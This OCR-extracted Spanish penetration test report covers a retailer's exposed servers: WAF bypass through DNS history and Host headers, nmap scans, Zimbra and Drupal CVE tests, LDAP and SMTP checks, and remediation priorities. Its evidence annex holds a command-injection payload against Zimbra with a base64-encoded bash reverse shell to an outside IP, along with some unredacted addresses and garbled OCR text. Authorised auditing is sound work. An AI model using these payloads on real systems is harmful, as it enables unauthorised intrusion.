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1: Resumen ejecutivo.

El presente informe de auditoria técnica corresponde al proceso de enumeracion y prueba de servicios
expuestos, buscando identificar posibles riesgos criticos de seguridad presentes en la arquitectura y
configuracién de los mismos, asi como de la infraestructura que los soporta (servidores, seguridad de red,
etc.).

1.1 Valoracion de riesgo: Se asigna una clasificacion de riesgo validado global correspondiente a Nivel
Moderado (54), basandose en factores como activos criticos expuestos permitiendo evasion de
proteccion WAFy la presencia de tecnologias obsoletas o sin soporte activo que incrementan la superficie
de ataque.

e Razdn principal: Se realizé6 un proceso de rastreo de direcciones IP empezando por aquella
asignada a la plataforma comercial, determinando que la infraestructura se encuentra protegida
por un servicio WAF gestionado por Cloudflare que enmascara la direccioén real de los servidores.
Sin embargo, mediante procesos de investigaciéon de informacion abierta OSINT se lograron
localizar 3 activos fuera del perimetro de proteccién contratado. Se determinaron y analizaron 6
condiciones de riesgo (2 por cada activo localizado) de las cuales 2 son de nivel medio o altoy
fueron confirmadas como explotables y el resto estan debidamente mitigadas por las medidas de
seguridad implementadas.

e Recomendacion urgente: Se determina que la infraestructura cuenta con un modelo de seguridad
fragmentado, inconsistentey sin control centralizado entre los diferentes activos que la componen.
Si bien se protege y limita correctamente muchas de las interacciones y activos, otros se
mantienen fuera del perimetro con una exposicién directa a internet o configuraciones débiles por
lo que se recomienda realizar las siguientes actividades lo mas pronto posible.

Realizar unarevision integral del inventario de activos expuestos incluidos en este reporte
Asegurar que todos los servicios criticos estén protegidos bajo el mismo perimetro de seguridad
Eliminar accesos directos a infraestructura interna

PoObd =

Estandarizar las politicas de seguridad a nivel organizacional

Finalmente, se concluye que el principal riesgo no radica Unicamente en vulnerabilidades individuales,
sino en la exposicion estructural de activos fuera del perimetro de seguridad. Esto permitiria a un
atacante evadir los controles implementados y en caso de lograr la explotacién de alguna de las
condiciones de riesgo detectadas o de aquellas que quedaron fuera del alcance de esta auditoria, abre la
posibilidad de encadenar estas vulnerabilidades para lograr comprometer mas de un activo de la
infraestructura.



La valoracidn de las condiciones de riesgo se realiza en dos etapas, inicialmente presentando el riesgo
inherente que representa el nivel de exposicion potencial sin considerar los controles de seguridad
implementados, utilizando como base el CVSS asignado cuando aplique o realizando una valoracion
equivalente empleando este modelo. Tras la ejecucidn de las pruebas controladas sobre los vectores
seleccionados, se determina el nivel de riesgo validado considerando la efectividad de los controles
implementados, el nivel de obsolescencia tecnolégica y demas condiciones detectadas durante la
auditoria. El grado de riesgo se asigna en base a la siguiente métrica.

Nivel 1(0 - 20): Riesgo insignificante / informativo.

Nivel 2 (21 - 40): Riesgo bajo / asumible.

Nivel 3 (41 - 60): Riesgo moderado / requiere atencion.
Nivel 4 (61 - 80): Riesgo alto / requiere mitigacion urgente.
Nivel 5 (81 - 100): Riesgo critico / inaceptable.

Clasificacién de vulnerabilidades analizadas.

Confirmacion de

Titulo de vector analizado explotabilidad Nivel de riesgo validado
Information Disclosure (LDAP Anonymous Bind) Confirmada 55 - Medio
Bypass IPS/WAF - Exposicion directa a la interfaz de aplicacion. Confirmada 85 - Critico
Ejecucion de comandos de usuario no autenticado (Zimbra) Mitigada 60 - Medio
Enumeracion de usuarios SMTP No explotable 0 - Informativo
RCE en PHP / Drupal (Presencia de 7.4.33 y Drupal 7 en el servidor) | No explotable 50 - (Obsolescencia)
Exposicion de servicios de base de datos y gestion remota insegura | Parcial 75 - Alto
indice de riesgo general Requiere atencién 54 - Moderado

1.2 Alcance y objetivo:

Serealiza una auditoria de caja negra aldominio de internet correspondiente para determinar la presencia
de posibles vulnerabilidades, configuraciones inseguras o puntos de acceso a la infraestructura.

Se analizaron las direcciones IP correspondientes al sitio e-comerce y direcciones derivadas del proceso
de investigacion y enumeracion.

Bajo ningun concepto se ejecutaron actividades que pudieran generar una afectacion en los activos, la
informacién o las actividades del negocio. Tampoco se almacena ningln tipo de informacién obtenida
durante el proceso de auditoria.

El fin Ultimo de este proceso es aportar la mayor cantidad de informacién util y veraz para la remediacion
de cualquier hallazgo encontrado que afecte la confidencialidad, disponibilidad e integridad de la
informacién o que pueda poner en riesgo la continuidad del negocio.




2: Metodologia.

Para el analisis de seguridad y determinacién de vulnerabilidades se utilizé la como marco principal la
metodologia PTES (Penetration Testing Execution Standard).

Interacciones previas al compromiso (Pre-engagement): Definicién del alcance, objetivos, limites, y
acciones legales antes de iniciar la auditoria.

Recopilacion de inteligencia (Intelligence Gathering): Obtencién de informacién sobre el objetivo
mediante fuentes abiertas (OSINT) o técnicas activas.

Modelado de amenazas (Threat Modeling): Analisis de los activos criticos y las posibles amenazas para
definir los escenarios de atague mas viables.

Analisis de vulnerabilidades (Vulnerability Analysis): Identificacion de fallos de seguridad en los sistemas
utilizando herramientas automatizadas y analisis manual.

Explotacion (Exploitation): Ejecucién de ataques técnicos controlados dentro de los limites definidos para
confirmar la explotabilidad del vector seleccionado.

Post-Explotacion (Post-Exploitation): Omitido, no se realiza ninguln tipo de actividad permanente.

Informe (Reporting): Documentacién detallada de los hallazgos, riesgos, evidencia de la explotaciéon y
recomendaciones de remediacion.

3: Recopilacion de informacidén abierta.

3.1 Interacciones previas:

Al ser un ejercicio de “caja negra” con el fin de simular un ataque real, Unicamente se utiliza la direccién
del sitio comercial que se esta auditando.

Actualmente se cuentan con 20 sucursales distribuidas en diferentes estados de la republica, pero el
alcance de la auditoria sera determinado por el proceso de obtencién de datos descrito a continuacion.

3.2 Recopilacion de informacién:

Se realizan pruebas de footprinting para determinar la direccion IP asociada analizando informacién
histérica de certificados, registros PTR y resolucién de registros DNS logrando obtener 3 direcciones las



cuales se listan a continuacién. Segun su rango, estas pertenecen al servicio de hosting cloudflare por lo
que estarian debidamente protegidas por un servicio WAF.

Direccion IP Asignada Estado Servicio
surtidor.com 172.X.X.74 Enmascarada, WAF detectado | Cloudflare
surtidor.com 104.X.X.228 Enmascarada, WAF detectado | Cloudflare
surtidor.com 104.X.X.228 Enmascarada, WAF detectado | Cloudflare

Img 1: Determinacidon de IP (dig)
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3.3: Elusion de WAF mediante Historial DNS:

Mediante la busqueda DNS histérica se determind que, aun cuando el dominio principal utiliza el servicio
cloudflare, la variante historia “elsurtidor.com” resuelve la direccién IP provista por Alestra ubicada en
Guanajuato, la cual se lista a continuacién.

Direccion IP Asignada Estado Servicio
elsurtidor.com X.X.X.26 Activa: Ultima det. Marzo 2026 Alestra




El analisis de dicha direccion IP nos confirma que pertenece al dominio zb.elsurtidor.com el cual
aparentemente es un servidor de correo. Mediante técnicas de elusion WAF como la validacién de
certificados SSL y cabeceras HTTP (Header Host Injection), se confirma el uso de tecnologia Zimbra
Collaboration Suite con servicios de correo expuestos fuera del perimetro de protecciéon cloudflare.

Img 2: Analisis de certificados
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3.4: Andlisis de subdominios y dominios relacionados:

Subdominio de correo: Se analiza el subdominio correspondiente a servicios de correo electronico
derivado del dominio principal y se obtiene una direccidn IP localizada en ciudad de México la cual
también se encuentra fuera del perimetro de protecciéon de Cloudflare.

Nota: En la revisién de informacidon publica, este servidor muestra multiples vulnerabilidades posibles,
esta informacidn se basa en las versiones del software instalado, si bien, se requeriria confirmar cuales
son realmente aplicables o no estan mitigadas por algun control complementario, se hace mencion de
este dato para su consideracion.

Direccion IP Asignada Estado Servicio
elsurtidor.com.mx/ MX Record X.X.X.37 Activa: Ultima det. Marzo 2026 Uninet




Img 3: Determinacion de IP (servicio de correo)

~

surtidor.com.mx

i <<>> DiG 9.20.20-1-Debian <<>> surtidor.com.mx

;i global options: +cmd

73 Got answer:

;3 —»HEADER«— opcode: QUERY, status: NOERROR, id: 58019

HH Flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: @, ADDITIONAL: 1

ii OPT PSEUDOSECTION:
i EDNS: version: @, flags:; udp: 4096

; COOKIE: 1d6f092667d5e9f22932bb4669c74cb0022e4224ed402F10 (good)
i QUESTION SECTION:
;jsurtidor.com.mx. IN A

;3 ANSWER SECTION:
surtidor.com.mx.

; Query time: 64 msec

i SERVER: 172. .1#53(172. .1) (ubP)
; WHEN: Fri Mar 27 23:36:16 EDT 2026
; MSG SIZE rcvd: 88

Subdominio de capacitacion: Mediante el analisis de certificados se localizaron subdominios
relacionados correspondientes aventas, intranety capacitacion. Analizando esta ultima se determina que
resuelve a una direccién IP fuera del perimetro de seguridad de cloudflare, del mismo modo, el analisis
de informacién publica confirma que es una direccién correspondiente a ISP Axtel, localizada en ciudad
de México. También muestra una serie de CVEs relacionadas a la tecnologia web Nginx 1.27.0 y otras
tecnologias en estado EOL que ya no cuentan con soporte oficial activo.

Nuevamente se confirma que no todas las vulnerabilidades listadas estan efectivamente activas o son
explotables, pero es un punto de atencidn que se debe documentar ya que la falta de actualizaciones en
este activo representa unriesgo critico de compromiso, puesto que estas versiones cuentan con multiples
vulnerabilidades publicas.

Direccion IP Asignada Estado Servicio
capacitacion.surtidor.com X.X.X.181 Activa: Ultima det. Marzo 2026 | Axtel




Img 4: Determinacidon de IP (subdominio de capacitacion).
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4: Enumeracion de puertos.

Se realiza un ejercicio de analisis de puertos y servicios para determinar la presencia de vulnerabilidades
en las 3 direcciones recopiladas mediante la ejecucidon de un escaneo de baja intensidad utilizando la
herramienta nmap con el fin de evitar cualquier afectacion en los servicios.

nmap -sV -Pn -O -T2 --top-ports 100 X.X.X.26 -oN evidencia_alestra_26.txt
nmap -sV -Pn -0 -T2 -p 22,25,80,443,999,7071,8443 X.X.X.37 -oN uninet_37.txt

nmap -sV -Pn -0 -T2 -p 21,22,80,111,389,999,3306,5222,5269,5901,6001,7070,9090,9998 X.X.X.181 -oN
axtel 181.txt



Img 5: Resultado de enumeracion Activo 1
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5: Hallazgos.

Con lainformacion obtenida durante el proceso de enumeracion de servicios se genera un mapeo de las
condiciones de riesgo de las cuales se seleccionara un posible vector de ataque al que se aplicara una
prueba con el fin de confirmar o descartar el riesgo.

5.1 Alestra: Se detecta la presencia de servicios antiguos u obsoletos, la presencia de OpenLDAP
v2.2.X/2.3.X. el cual conlleva un riesgo de denegacion de servicio y posible compromiso de directorio,
mientras que los servicios de correo electronico generan una superficie de ataque debido a la exposicion
completa de los puertos de administraciéon y entrega (IMAP, POP3, LDAP, HTTP Config) sin filtrado por IP
de origen.

Se observa una firma de red inconsistente con hardware dedicado, sugiriendo el uso de capas de
virtualizacion o NAT que podrian estar enmascarando la verdadera identidad del sistema operativo
subyacente.

5.2 Uninet: La presencia de multiples resultados RST en el puerto 443 indica la posible presencia de un
IPS o firewall activo que limita las conexiones y la respuesta de los servicios en los demaés puertos
(tcpwrapped), esto sugiere la aplicacion de politicas de bloqueo dindmico o restriccidon por segmentos de
red. Sin embargo, aunque este servidor en apariencia se encuentra mucho mas protegido, la exposicion
del puerto 25 (SMTP) como filtrado en lugar de cerrado indica que el servicio de correo sigue intentando
operar fuera del WAF de Cloudflare. Esto sugiere una arquitectura segmentada con controles perimetrales
parciales, pero sin una correcta centralizacion del trafico a través del WAF.

5.3 Axtel: Este nodo presenta varios servicios criticos expuestos y/o obsoletos como puertos FTP (vsftpd
2.0.8) y VNC (protocolo 3.8), la base de datos expuesta en el puerto 3306 MariaDB 10.3.23 y el servicio
OpenLDAP 2.2.X - 2.3.X, lo que sugiere una infraestructura base sumamente vieja y vulnerable a ataques
de denegacién de servicio (DoS).

La presencia combinada de varios servicios con tecnologias obsoletas o EOL, hacen que este activo sea
considerado como de alto riesgo critico para la infraestructura por los puntos expuestos a continuacion.

e Software EOL: Uso de versiones obsoletas de OpenLDAP y vsftpd con multiples CVEs conocidos.

e Exposicion de Datos: El puerto 3306 (MariaDB) y servicios de aplicaciones (Jetty en 7070/9090)
son visibles desde internet, aumentando el riesgo de exfiltracion de informacion.

e Administracion Insegura: La presencia de VNC y X11 (puertos 5901/6001) sugiere la gestién
remota del servidor sin implementaciéon adecuada de cifrado.

e Anomalias en Puerto 9998: Se detectd un servicio no identificado que expone fragmentos de
coédigo fuente (CSS/HTML) en sus respuestas de error, esto puede facilitar el reconocimiento de la
arquitectura interna por parte de un atacante.
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6: Confirmacion mediante pruebas de concepto.

Se seleccionan 2 condiciones de riesgo para cada uno de los 3 nodos analizados.
Nodo 1: Alestra (Guanajuato - .26)

e Condicion 1: Ejecucion Remota de Cédigo (RCE) en Zimbra. Debido a la presencia de servicios
tan antiguos como OpenLDAP 2.2.X, es imperativo probar si la versidon de Zimbra es vulnerable a
fallos criticos de path traversal o remote code execution.

e Condicion 2: Information Disclosure en OpenLDAP. Demostrar que se puede realizar un dump de
la estructura del directorio sin autenticacion, exponiendo nombres de usuarios y jerarquias
internas.

Nodo 2: Uninet (CDMX - .37)

e Condicion 1: Bypass de IPS/WAF. Documentar como las técnicas de elusion (como el uso de
cabeceras Host o historial DNS) permiten alcanzar el servicio real a pesar de las contramedidas
detectadas.

e Condicion 2: Enumeracion de Usuarios SMTP. Probar si el servicio en el puerto 25 permite
confirmar direcciones de correo validas, lo que facilita ataques dirigidos de phishing o fuerza bruta.

Nodo 3: Axtel (CDMX - .181)

e Condicion 1: RCE en PHP/Drupal. Esta es la mas critica. Usar el hallazgo de PHP 7.4.33 y Drupal
7 para intentar ejecutar un comando simple (como whoami o id) y confirmar si es posible
comprometer el servidor.

e Condicion 2: Exposicion de Base de Datos y Gestion Remota. Confirmar el riesgo de tener
MariaDB (3306) y VNC (5901) abiertos, lo cual podria permitir el acceso a los datos de capacitacion
de los empleados o cualquier informacion de la BDD alojada en este nodo.

6.1: Tablas de validaciéon y ejecucion de pruebas.

A continuacion, se listan las tablas de informacidn y resultado del proceso de validacion técnica aplicado
a las condiciones de riesgo seleccionadas. En estas se muestra la calificacion de riesgo inherente sin
considerar controles (CVSS) cuando corresponde y el nivel de riesgo validado tras la aplicacién de la
prueba sobre el vector seleccionado.
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Titulo

Ejecucion de comandos de usuario no autenticado (Zimbra)

Activo

Alestra (X.X.X.26)

CVE-relacionada

CVE-2024-45519: Servicio postjournal en Zimbra colaboration suite anteriores a la versién
8.8.15 pueden permitir ejecucién remota de comandos (RCE) de usuarios no autenticados.

Nivel de riesgo inherente

Critico

CVSS 3.1

9.8: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Evidencia técnica

Se realizaron multiples pruebas en los puertos de acceso al panel de administracion Zimbra:
Puertos 143, 443 y 993. Abiertos mediante la entrega de payloads controlados. Se realizaron
pruebas en el puerto 25 el cual estd debidamente filtrado y el 587 el cual esta abierto, pero
debidamente protegido por las reglas del firewall.

Impacto

La omision de las medidas correctivas conllevaria a un posible riesgo de permitir conexiones a
usuarios externos para la ejecucion de comandos o acceso a informacion confidencial e incluso
control total del activo.

Correccion recomendada

Fortaleza detectada: La evidencia sugiere la actualizacion a una version no vulnerable y segura o
la aplicacidn de parches de seguridad y reglas de endurecimiento que eliminan la vulnerabilidad.
Mantener las practica de parcheo o actualizacidn del servicio.

Explotacién/confirmacion

No explotable/Mitigado: Se realizaron pruebas de ejecucion de comando en los puertos
relacionados mediante la entrega controlada de payloads, los cuales fueron aceptados por el
servicio, pero no se observa ejecucidn de comandos. El analisis de respuesta sugiere la
presencia de reglas de sanitizacion, bloqueo de comandos externos o aplicacion de parches de
actualizacién que limitan la interpretacion de comandos. Esta falta de ejecucion se atribuye a
que el binario postjournal esta parcheado o que el servicio de Journaling (fuente de la
vulnerabilidad) no esta habilitado.

Se reclasifica con un nivel de riesgo validado de 60: Riesgo moderado

Se observa la aplicacion de buenas practicas de endurecimiento al bloquear puertos de acceso
comunes, sanitizar las entradas para evitar ejecucion de comandos no deseada y ocultamiento

Comentario de informacion para evitar fingerprinting.
Titulo Information Disclosure (LDAP Anonymous Bind)
Activo Alestra (X.X.X.26)

CVE-relacionada

No existe una CVE directa relacionada. CWE-16: Configuracidn débil permite exfiltracion de
datos sin necesidad de autenticacidn.

Nivel de riesgo

Medio

CVSS 3.1

5.3: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Evidencia técnica

Mediante la herramienta ldapsearch, se confirmé la capacidad de realizar un Anonymous Bind
contra el activo. El servidor expuso una lista de 19 controles y 4 extensiones soportadas,
incluyendo el OID 1.2.840.113556.1.4.319

Impacto

Extraccion masiva de datos organizacionales de manera sigilosa (Paged Results).

Correccion recomendada

Actualizacion del servicio o descontinuar su uso si no es posible el parcheo.

Explotacién/confirmacion

Confirmado por la prueba de concepto
Se asigna un nivel de riesgo validado de 55: Riesgo moderado

Comentario

El servicio permite obtener informacion de configuracion, version del servicio, etc. Lo que
permite realizar un mapeo del sistema. La informacion incluso puede obtenerse sin cifrado
permitiendo ataques de interceptacion en ruta
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Titulo

Bypass IPS/WAF - Exposicién directa a la interfaz de aplicacion.

Activo

Uninet (X.X.X.37)

CVE-relacionada

No existe CVE directa relacionada. CWE-1316: Aislamiento de red insuficiente.

Nivel de riesgo

Alto: Posible vector inicial de ataque encadenado.

CVSS 3.1

7.5: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Evidencia técnica

Se detecta la presencia de un IDS o Firewall que protege y filtra varios de los puertos de sistema,
sin embargo, se comprobo que es posible acceder al servidor el cual responde directamente a
cualquier consulta directa a su IP a través del puerto 443/TCP, exponiendo el panel de inicio de
sesidn de Zimbra sin pasar por el control de Cloudflare. Esto confirma que: El servidor backend
es accesible desde internet / Parte del trafico puede eludir la proteccion / Hay exposicion directa
de algunos servicios fuera del perimetro seguro.

Impacto

Permite el reconocimiento e interaccion directa sin pasar por el proceso de inspeccion y filtrado
del WAF. Como consecuencia se habilitan escenarios de ataque como: Ataques de fuerza bruta
contra el panel de autenticacion / Enumeracidn de usuarios / Explotacion de vulnerabilidades del
servicio, incluyendo la ejecucién de comandos remota (RCE), etc. Si se logra eludir la proteccion
perimetral, serviria como punto de entrada para encadenar ataques contra servicios internos
vulnerables identificados en otros activos evaluados.

Correccion recomendada

Validar la configuracion de proteccion cloudflare para incluir este nodo / Configurar una lista
blanca de IPs de acceso al servicio (ACL) / Forzar el paso de todo el trafico por el WAF.

Explotacién/confirmacion

Confirmado: Acceso mediante solicitudes controladas (curl) directas a la IP publica del activo
sinintervencién del WAF, confirmadas mediante la recepcién de cookie de sesién validas del
servicio (ver capturas anexas).

Se asigna un nivel de riesgo validado de 85: Riesgo critico al encontrarse fuera del perimetro de
seguridad.

Se detecta una omision en la definicion del perimetro de seguridad, posiblemente derivada de

Comentario inventariarios incompletos de los activos a proteger o configuracion incorrecta del WAF.
Titulo Enumeracion de usuarios SMTP
Activo Uninet (X.X.X.37)

CVE-relacionada

Nivel de riesgo

N/A

CVSS 3.1

Evidencia técnica

Se realizan pruebas de enumeracion de usuario mediante el puerto 587 ya que el puerto 25 esta
debidamente cerrado a direcciones no permitidas, los intentos de validacién mediante el
comando VRFY confirman el rechazo del servidor a validacion externa.

Impacto

N/A

Correccion recomendada

Fortaleza detectada en la configuracion de seguridad.

Explotacién/confirmacion

No explotable
Se asigna un nivel de riesgo validado de 0: Informativo

Comentario

Se confirma la correcta aplicacion de listas de acceso ACL en el servicio.
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Titulo

RCE en PHP / Drupal (Presencia de 7.4.33 y Drupal 7 en el servidor)

Activo

Axtel (X.X.X.181)

CVE-relacionada

CVE-2018-7600: Versiones de Drupal anteriores a 7.58 permiten ejecucion de codigo arbitrario
debido a un problema que afecta a multiples subsistemas con configuraciones de modulos
predeterminadas o comunes.

Nivel de riesgo inherente

Critico.

CVSS 3.1

9.8 critico CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Evidencia técnica

Se realiza una solicitud curl controlada buscando la explotacion de la vulnerabilidad
"drupalgeddon2”. La respuesta 404 Not Found indica que el activo no es vulnerable a este exploit
en especifico mediante el registro de usuarios o que la aplicacidn no esta en la raiz del servidor. /
El escaneo dirigido con nmap confirma que el puerto 80 esta abierto, pero no logra enumerar
subdirectorios o la version PHP devolviendo errores 404 para los 128 nombres probados.

Impacto

Alto (potencial): El vector especifico analizado es filtrado correctamente por Nginx devolviendo
el error 404. Sin embargo, las versiones detectadas siguen representando un riesgo latente al
encontrarse en un estado EOL manteniendo una superficie de ataque para otras
vulnerabilidades no probadas. En caso de explotacidn exitosa, el impacto podria incluir
gjecucion remota de comandos y compromiso total del activo.

Correccion recomendada

Parcialmente mitigado: Se recomienda analizar y ocultar las firmas de los servicios como Nginx,
actualizar PHP a una versidn con soporte activo y Drupal a version 9 o superior, realizar un
hardening general de directorios para evitar descubrimiento de archivos sensibles y minimizar
exposicion de endpoints y mejorar controles de acceso.

Explotacién/confirmacion

No explotable en el vector evaluado: El servidor recibe correctamente el payload controlado,
pero no es procesado. Se mantiene un nivel de riesgo moderado teniendo en cuenta la cantidad
de vectores existentes no probados.

Se asigna un nivel de riesgo validado de 50: Riesgo moderado

Comentario

La presencia de Nginx 1.27.0 (versidon muy reciente) sugiere que hay una capa de servidor web
moderna actuando como proxy, lo cual podria estar bloqueando los vectores dirigidos a la
aplicacion interna obsoleta, sin embargo, dichos componentes introducen una superficie de
riesgo potencial.
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Titulo

Exposicion de servicios de base de datos y gestion remota insegura

Activo

Axtel (X.X.X.181)

CVE-relacionada

N/A: Configuracion débil / Uso de protocolos inseguros.

Nivel de riesgo

Alto

CVSS 3.1

N/A

Evidencia técnica

Se identifica la exposicion de multiples servicios criticos en el activo analizado. BDD Mariadb
10.3.23 - Pruebas de conexidn con el comando mysql confirma que el acceso requiere permisos
especificos mediante listas de control de acceso (ACL) permitiendo conexiones unicamente
desde las direcciones IP autorizadas, confirmado por el escaneo dirigido nmap observandose
rechazo de conexiones externas (error 1130) / El servicio de gestion remota VNC responde a
conexiones externas con el banner RFB 003.008 correspondiente a un protocolo que viaja en
texto claro por defecto lo que abre la puerta a ataques de interceptacion en ruta y fuerza bruta si
no se utiliza un tunel SSH seguro.

Impacto

Aunque se detectd una ACL que mitiga el acceso externo inmediato, la exposicion de los
servicios, asi como la presencia de la version 10.3.23 la cual cuenta con 5 vectores de Ejecucion
Remota de Cddigo (RCE) y 27 vectores de Denegacidn de Servicio (DoS) documentados por lo
gue mantiene una superficie de ataque elevada. La falta de parches en una tecnologia con este
volumen de vulnerabilidades conocidas representa un riesgo de compromiso elevado, si un
atacante logra posicionarse dentro de un segmento de red permitido, mediante una falsificacion
de IP o comprometiendo la red interna (acceso desde un segmento no autorizado).

Los vectores sefnalados se relacionan a la version identificada, pero no implica que todos ellos
sean explotables en el activo.

Correccion recomendada

El acceso esta parcialmente mitigado restringiendo el acceso a la BDD mediante IP (ACL), pero
el servicio VNC responde y expone su version aligual que la BDD. Se recomienda cerrar el puerto
5901y asegurar el uso de VPN o tuneles seguros SSH para gestion remota. En la BDD, se
recomienda actualizar la version y asegurar que las ACL sigan una politica de denegacion por
defecto.

Explotacién/confirmacion

Parcialmente mitigado: Confirmado (VNC). ELacceso a la BDD esta restringido por IP, pero el
servicio VNC responde y expone su version. Ademas, el proceso de fingerprint permite recopilar
informacion para ataques dirigidos a las versiones de los servicios.

Se asigna un nivel de riesgo validado de 75: Riesgo alto debido al alto nimero de
vulnerabilidades documentadas para la version especifica del servicio.

Comentario

El activo presenta una combinacion de controles de seguridad parcialmente efectivos, sin
embargo, la exposicion de informacidn permite encontrar referencias a vulnerabilidades
documentadas para la versién especifica de la BDD.
https://www.cvedetails.com/version/1206592/Mariadb-Mariadb-10.3.23.html
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7: Conclusiones.

El andlisis de resultados de las diferentes pruebas de concepto confirma la aplicacién de varias medidas
de hardening y buenas practicas de configuraciéon de los servicios. Sin embargo, la configuraciéon no se
aplica de manera uniforme a todos los activos de la organizacion.

La identificacidon de servicios expuestos fuera del perimetro de proteccidn principal evidencia una falta
de visibilidad y control centralizado sobre la superficie de ataque, lo que permite la evasion de
mecanismos de seguridad como el WAF y facilita la interaccion directa con sistemas internos que se
asumen ocultos y protegidos.

Asimismo, la presencia de tecnologias obsoletas interactuando con servicios expuestos incrementa
significativamente el riesgo de compromiso, especialmente cuando estos pueden ser encadenados con
vulnerabilidades explotables confirmadas durante el analisis.

En este contexto, el riesgo no puede evaluarse Unicamente de forma individual por vulnerabilidad, sino
como un posible escenario de ataque encadenado, donde un acceso inicial (como el bypass de WAF)
puede ser utilizado como punto de entrada para comprometer otros activos internos y aprovechar
aquellas condiciones de riesgo confirmadas o aquellas que quedaron fuera de este analisis.

7.1: Prioridades de remediacion.

Se recomienda priorizar las vulnerabilidades confirmadas, principalmente las que involucran activos
fuera del perimetro de proteccion y permiten saltar la proteccion contratada. También se recomienda
fuertemente actualizar las tecnologias catalogadas como obsoletas o sin soporte activo ya que siguen
siendo un riesgo latente que pueden comprometer al activo completo aun cuando estan protegidas por
las distintas tecnologias implementadas (ACL, Nginx, etc.). El orden de prioridad recomendado es:

Correccion inmediata del bypass de WAF identificado

Actualizacién del inventario de activos e inclusion dentro del perimetro de proteccién
Eliminacidon de accesos directos a servicios internos expuestos

Actualizacién de tecnologias obsoletas (EOL)

Implementacién de un modelo de seguridad centralizado y consistente

L

Implementacién de un plan de auditoria de activos/tecnologias para asegurar su control futuro
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8: Anexo de capturas de ejecucidn y resultados.

PoC: Alestra vuln 1

Evidencia 01: Envio de payloads controlados (Zimbra).

etho icmp
[sudo] password for kali:
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on eth@, link-type EN10MB (Ethernet), snapshot length 262144 bytes
—command "ping -c 4 63.143.44.230"
*g
@ packets captured
@ packets received by filter
@ packets dropped by kernel

YmFzaCAtaSA+JiAvZGY2L3IRjcCB2My 4 xNDMUNDQUM jMwL zgwIDA+IJEK
exploit_zimbra.py £1.26
] Conectando a &8 Sd%<11ad.26:587 ...

] Banner: 220 zb.elsurtidor.com ESMTP Postfix
] Enviando payload: test@example.com”|echo

] Exploit enviado. Revisa tu listener de netcat.

exptoit zimbra.py re #73.26 —port 587 echo${IFS}YmFzaCAtaSA+JiAvZGV2LIR] cCB2My4XNDMUNDQUM Ml zgwIDA+IFEKS{T
[*] Conectando a 3 #& .¥%.l.26:587 ...
[*] Banner: 220 zb.elsurtidor.com ESMTP Postfix
[*] Enviando payload: test@example.com”|echo${IFS}¥YmFzaCAtaSA+JiAVZGV2L3RjcCB2My4XNDMUNDQUMIMLZzewIDA+IJEKS{IFS}I${IFS}base64${IFS}-d${IFS}IS{IFStbash|”
[+] Exploit enviado. Revisa tu listener de netcat.

Evidencia 02: Escaneo de vulnerabilidades dirigido (Zimbra).

,http-title 25,80,443,587,7071,8443 J» .12
Starting Nmap 7. 98 ( https: //nmap org ) at 2026-03-30 23:03 -0400
Failed to resolve ",http-title”.
Nmap scan report for zb.elsurtidor.com ( _.w i.ix .26)
Host is up (0.018s latency).

PORT STATE SERVICE VERSION

25/tcp filtered smtp

80/tcp filtered http

443/tcp open ssl/http Zimbra http config
587/tcp open smtp Postfix smtpd

| _banner: 220 zb.elsurtidor.com ESMTP Postfix
7071/tcp filtered iwgl

8443/tcp filtered https-alt

Service Info: Host: zb.elsurtidor.com

Service detection performed. Please report any incorrect results at https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 42.52 seconds

443 ipt http-vuln BIres .26
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-30 23:13 -0400
Nmap scan report for zb.elsurtidor.com (1i).111.13/.26)
Host is up (0.0095s latency).

PORT STATE SERVICE
443/tcp open https

Nmap done: 1 IP address (1 host up) scanned in 7.79 seconds




PoC: Alestra vuln 2

Evidencia 03: Ejecucidon de herramienta ldapsearch (LDAP).

X ldap: //tiz 7isi ;)
extended LDIF

LDAPv3

base < with scope baseObject
filter: (objectclass=x)
requesting: ALL

#

dn:

objectClass: top
objectClass: OpenLDAProotDSE

## search result
search: 2
result: @ Success

# numResponses: 2
# numEntries: 1

PoC: Uninet vuln 1

Evidencia 04: Extraccidon de cabeceras (curl)

L https:// 2/ .37/

HTTP/1.1 200 OK

Date: Tue, 31 Mar 2026 00:12:35 GMT

X-Frame-Options: SAMEORIGIN

Expires: -1

Cache-Control: no-store, no-cache, must-revalidate, max-age=0
Pragma: no-cache

Content-Type: text/html;charset=utf-8

Content-Language: es-MX

Set-Cookie: ZM_TEST=true; Secure

Set-Cookie: ZM_LOGIN_CSRF=57d24a52-7055-49c4-865b-3ecd362b839d; Secure; HttpOnly
Vary: User-Agent

X-UA-Compatible: IE=edge

Content-Length: 8268

o -H "Host: surtidor.com.mx” -Ik https://

HTTP/1.1 200 0K

Date: Tue, 31 Mar 2026 00:13:16 GMT

X-Frame-Options: SAMEORIGIN

Expires: -1

Cache-Control: no-store, no-cache, must-revalidate, max-age=0
Pragma: no-cache

Content-Type: text/html;charset=utf-8

Content-Language: es-MX

Set-Cookie: ZM_TEST=true; Secure

Set-Cookie: 7M_LOGIN_CSRF=ed8235ff-4cec-4631-95ff-57ecc76adfi8f; Secure; HttpOnly
Vary: User-Agent

X-UA-Compatible: IE=edge

Content-Length: 8268




Evidencia 05: Exposicion directa del panel de acceso Zimbra (visible desde internet).

O G |

KaliLinux # KaliTools ¢ KaliDocs X Kali Forums o Kali NetHunter Exploit-DB Google Hacking DB

&) zimbrar

A SYNACOR PRODUCT

-
M stay signed in sign in |

Version: SR s T

PoC: Uninetvuln 2
Evidencia 06: Ejecucion de herramienta netcat para enumeracion de usuarios SMTP.

.k I.37 587
220 mx.surtidor.com ESMTP Postfix
HELO kali.local
250 mx.surtidor.com
VRFY admin
5.7.1 <unknown[63.143.44.230]>: Client host rejected: Access denied
MAIL FROM: <test@test.com>

admi urtidor.com.m
.1 <unknown[ i R >: Client host rejected: Access denied
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PoC: Axtel vuln1

Evidencia 07: Ejecucion controlada de solicitud “curl” (druppalgeddon2).

<html>

<head><title>404 Not Found</title></head>
<body>

<center><h1>404 Not Found</h1></center>
<hr><center>nginx/1.27.0</center>

80 http-php-version,http- vhosts 189.205.217.181
